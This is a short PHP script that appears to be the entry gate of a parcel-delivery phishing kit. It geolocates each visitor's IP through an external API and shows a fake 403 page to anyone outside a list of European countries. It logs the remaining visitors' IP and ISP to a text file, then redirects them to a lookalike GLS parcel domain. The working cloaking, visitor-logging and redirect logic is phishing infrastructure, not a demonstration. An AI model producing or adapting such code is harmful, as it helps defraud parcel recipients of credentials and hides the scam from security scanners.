<?php
// Set timezone
date_default_timezone_set('GMT');
$dt = date("d-m-Y H:i:s");

// Start session
session_start();

// Get IP address of the client
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];

if (filter_var($client, FILTER_VALIDATE_IP)) {
    $ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
    $ip = $forward;
} else {
    $ip = $remote;
}
$_SESSION['_ip_'] = $ip;

// Function to fetch IP details using cURL
function fetch_ip_details($ip) {
    $url = "http://ip-api.com/json/" . $ip;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code == 200 && $response) {
        $json = json_decode($response);
        if (json_last_error() === JSON_ERROR_NONE) {
            return $json;
        }
    }

    return null;
}

// List of European country codes
$EUROPE_COUNTRIES = [
    "AL", "AD", "AT", "BY", "BE", "BA", "BG", "HR", "CY", "CZ", "DK", "EE", "FI", "FR", "DE",
    "GR", "HU", "IS", "IE", "IT", "LV", "LI", "LT", "LU", "MT", "MD", "MC", "ME", "NL", "NO",
    "PL", "PT", "RO", "RU", "SM", "RS", "SK", "SI", "ES", "SE", "CH", "UA", "GB", "VA", "TN",
];

// Fetch IP details
$IP_LOOKUP = fetch_ip_details($ip);
if ($IP_LOOKUP && $IP_LOOKUP->status === "success") {
    $_SESSION['_LOOKUP_COUNTRY_'] = $IP_LOOKUP->country;
    $_SESSION['_LOOKUP_CNTRCODE_'] = $IP_LOOKUP->countryCode;
    $_SESSION['_LOOKUP_CITY_'] = $IP_LOOKUP->city;
    $_SESSION['_LOOKUP_REGION_'] = $IP_LOOKUP->region;
    $_SESSION['_LOOKUP_STATE_'] = $IP_LOOKUP->regionName;
    $_SESSION['_LOOKUP_ZIPCODE_'] = $IP_LOOKUP->zip;
    $_SESSION['_LOOKUP_ISP_'] = $IP_LOOKUP->isp;
    $_SESSION['_LOOKUP_REGIONS_'] = $_SESSION['_LOOKUP_STATE_'] . "(" . $_SESSION['_LOOKUP_REGION_'] . ")";
    $_SESSION['_forlogin_'] = $_SESSION['_LOOKUP_CNTRCODE_'] . " - " . $_SESSION['_ip_'];

    // Check if visitor is from Europe
    if (!in_array($_SESSION['_LOOKUP_CNTRCODE_'], $EUROPE_COUNTRIES)) {
        header("HTTP/1.1 403 Forbidden");
        die("<h1>403 Forbidden</h1><p>Access denied.</p>");
    }

    // Log visitor details
    $log_file = fopen("V.txt", "a");
    if ($log_file) {
        fwrite($log_file, "[" . $dt . "] " . $_SESSION['_LOOKUP_CNTRCODE_'] . " - " . $_SESSION['_ip_'] . " - " . $_SESSION['_LOOKUP_ISP_'] . "\n");
        fclose($log_file);
    }

    // Redirect to another URL
    header('Location: https://ihrpaket-gls-group.online/');
    exit();
} else {
    // If API fails, show 404 error
    header("HTTP/1.0 404 Not Found");
    die("<h1>404 Not Found</h1><p>Could not retrieve IP information for " . htmlspecialchars($ip) . ".</p>");
}
?>